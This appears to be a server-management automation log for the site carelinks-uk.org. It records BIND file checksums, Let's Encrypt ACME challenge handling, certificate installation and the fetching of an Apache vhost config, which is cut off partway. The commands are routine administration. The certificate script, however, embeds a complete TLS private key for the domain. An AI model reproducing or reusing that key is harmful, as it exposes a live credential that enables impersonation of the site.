MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 06:00:02: Establishing a connection
2026-05-24 06:00:03: Establishing a connection
2026-05-24 06:00:03: 

PUT: /tmp/pkp294015

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:03: 

chmod 755 /tmp/pkp294015; /tmp/pkp294015; rm /tmp/pkp294015

2026-05-24 06:00:03: 


1


2026-05-24 06:00:05: Establishing a connection
2026-05-24 06:00:05: 

PUT: /tmp/pkp384855

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > AvSK2APYFqWEq5a2C7udNbndd1hSO1t5pCRTDRDrZ5Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AvSK2APYFqWEq5a2C7udNbndd1hSO1t5pCRTDRDrZ5Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AvSK2APYFqWEq5a2C7udNbndd1hSO1t5pCRTDRDrZ5Y
cat > PzOHIPNTR8xDwUJowhIjsVFMrIzxnHGleNUw4wYoqPY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PzOHIPNTR8xDwUJowhIjsVFMrIzxnHGleNUw4wYoqPY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PzOHIPNTR8xDwUJowhIjsVFMrIzxnHGleNUw4wYoqPY


2026-05-24 06:00:05: 

chmod 755 /tmp/pkp384855; /tmp/pkp384855; rm /tmp/pkp384855

2026-05-24 06:00:05: 




2026-05-24 06:00:14: Establishing a connection
2026-05-24 06:00:14: 

PUT: /tmp/pkp810103

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm AvSK2APYFqWEq5a2C7udNbndd1hSO1t5pCRTDRDrZ5Y
rm PzOHIPNTR8xDwUJowhIjsVFMrIzxnHGleNUw4wYoqPY


2026-05-24 06:00:14: 

chmod 755 /tmp/pkp810103; /tmp/pkp810103; rm /tmp/pkp810103

2026-05-24 06:00:14: 




2026-05-24 06:00:14: Establishing a connection
2026-05-24 06:00:14: 

PUT: /tmp/pkp688556

#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt

cat > $temp_file <<'endmsg'
a5:3a:a0:1f:66:2c:b5:15:1d:0f:43:b0:82:a4:33:dc

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBQXt1qqMfqZr61clnxbMHHg5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI0MDUwMTQzWhcNMjYwODIyMDUwMTQyWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA2Q7Fe3wk1ZbrySMvsHdxU3EMFPTKSSvLVwtL6SqnjThCQa5V2Bo8y8Nh4SRk
s1TnUgr5PAgUF1LqJEntxkmby+cNZcKiTVWzjU05ghIdFp9y6L5I/d9aRmmsEJgn
71HUgVTYu1SOcVRQ81W50927q0M1J1FDfOGpbx2QIQnKI2Zs+dVwPIdS7mJII1fO
u9ML/ZLTUnx/LuYCtQ350riG2jU9nfHyYmgx/7lrONs0fY/K+Ug1L0r6nnMBjm/H
Cvv85wb3pHjihk5FBNn16VZdkkdgyGoIl3M7SRIGxhkGIZqdqmzodJ6KRo5BLE+u
/57+YBCzYh64v5fW53PI57vbPwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKq0
W8u5bNCNCCcG4VAThO1c6K6OMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLXVrLm9yZ4IUd3d3LmNhcmVs
aW5rcy11ay5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81OC5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ5Y
kdZuAAAEAwBHMEUCIQC50EQC0fD6nzNNv3hoHkiNHG5Y2fqkWvo4xYstFwMCAwIg
VMIAkta7xWlzk5eSEbvNz+MRD4yJuS/KnFWgHnE5iToAfwAai51rD/6/gbR5OcbS
MQqG1tEC1PBG4hgsneNfXiYl7wAAAZ5YkdiFAAgAAAUAFj4EQQQDAEgwRgIhAMOY
KSvoCbnib7q1cpJlSg3QsoE8DfnCgGdS9JWPowXKAiEAg0mdXhQHohqNfULfcigE
kumS2/mxMfwbuNYlbecwdu4wDQYJKoZIhvcNAQELBQADggEBADFvTeJghKp/wmdz
1qIwPMTsLkUychSPcVYk5rT5/x/Tm06kc76/SedRsmyAGYAyRF9Wg1fIHUjQsQw8
VpOo0Lc7y/RxBQ4y2eO4eL+v2Rv/UP4og9RJu+8tgBjgVLo7BFWrQ6kG8A8YwOYZ
ZZKGU3HLyLxPtU+Dv6QQcVSsKt0Orp5JXjXyjAo2iUipaY9M738wIrlGVH5PAFgY
5znavjkZZk159JWFnooYa7YAeUCXhJw1XXxRUIbnsrmT8dTiWuPj8ta6diGnbBrG
v7CpVKQeQBKJc+mCyY4kZJy/wwljL7obuOcYCXq2XfjpZ2ed4sIR3FC+A++Vva2G
sJumW3k=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDZDsV7fCTVluvJ
Iy+wd3FTcQwU9MpJK8tXC0vpKqeNOEJBrlXYGjzLw2HhJGSzVOdSCvk8CBQXUuok
Se3GSZvL5w1lwqJNVbONTTmCEh0Wn3Lovkj931pGaawQmCfvUdSBVNi7VI5xVFDz
VbnT3burQzUnUUN84alvHZAhCcojZmz51XA8h1LuYkgjV8670wv9ktNSfH8u5gK1
DfnSuIbaNT2d8fJiaDH/uWs42zR9j8r5SDUvSvqecwGOb8cK+/znBvekeOKGTkUE
2fXpVl2SR2DIagiXcztJEgbGGQYhmp2qbOh0nopGjkEsT67/nv5gELNiHri/l9bn
c8jnu9s/AgMBAAECggEAJMPEPlS6NnVQLarojnbEurHornoB81/YGr++lVlUtO5F
BrP9NVPIXWkUIJrV9awZXEOgkIL7yDGSmB/vhsj7+w8BLW3IqNmtxm7AoV/pDmZm
g7aLTXjx5QBMFSl4higxmtBgv2YklFyIM5cfGRwzB+Cj1auFh1b/qGL1ASuT0efc
5iFt5jgvynEsiD1B8ZWZ5XMdWdvQ8mGPOfTDT2wlhVkYToHUMu/HafynW+yym7ld
NZh8CLztng+e0CHk9yZmRAh/3L6B2+/W6C4fh5AdCaJZ8q7dlBcsj40q25K04Lno
VeTTRQwX0ZYPFmTtC9mT48DyJG5wv46hubRqX9XpXQKBgQD62pDWAqY4dPP1fjou
Djaox5ePM/l3tVOClPZo+/FXkSt7HMQ7vjEJ9qaA5NcVOLWI3U6YE6ar6fRKuB8o
iTEOhzsbCI4LlvpPxPPA4ERHYh0t3KfoaClR+F3AK2wqCV7zk/VHkzLGfU7nNySa
/eWCGgVxoG4Exzv6/dRiEwSjLQKBgQDdgrcjqSnClP2qWhOmK6q4ldar11yT6BLl
VStnjb3bgEfQ7XOfCAdFg5zFq1bSYcjWH02UXMIhResqkW92XdShc87cuvNHJPoo
eEv2qO7tIcy8+CuDXS0jVYfKjz8b0/9bFPP5oEwF46gDrwlOINIiGuAq+WIUlqu9
R0krw2armwKBgQCeja1EB3Kmdo2IGluNpqA3t8f81H4Wgr6g56SDoNLfZTtVWk5R
8JmwUXzWNU4Y9LoRIsg9aRZMzNgCrjPLfENMin76TELz4l6eMr9apqWhdMs6pKBg
Tg3n6JLhFtEMFNY2IMvEjK5oNOW9UOZLLLV2sRnFwwAm9wLbVrp5rsmclQKBgQC6
4F6VbU/X406me1v8Yvaix3bWftiRx8a5R8NYl9JG7tCnyMw0rNdFpCWM9mJHF0wS
qVIQCrmUzKH7xbrdh4ettkAdJHO938pUfjjIHfmEgXFzM4OyTdeY6b2n/HXnilDy
jJjQTpYUmd3TTcZx7Wqab0YTu1UtvXeiNhPbIfzqZQKBgG0XlG/m+RT1qKnFjrJl
GUROl4aT6cgmmIzZWwcivHcjtEupWixhACPSjdZUaV98TVctaJoEtHATi/emMBHG
osP6M7vwD2JFXXZKKHU0nlDYaq87RLU7Nmk4I7wssW1eCqCKJQff7JZhJKS62oHI
PvUUeX4NierC1ViTjESZOANO
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:00:14: 

chmod 755 /tmp/pkp688556; /tmp/pkp688556; rm /tmp/pkp688556

2026-05-24 06:00:14: 


dir=/etc/ssl/certs


2026-05-24 06:00:14: 

PUT: /tmp/pkp937326

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:00:14: 

chmod 755 /tmp/pkp937326; /tmp/pkp937326; rm /tmp/pkp937326

2026-05-24 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
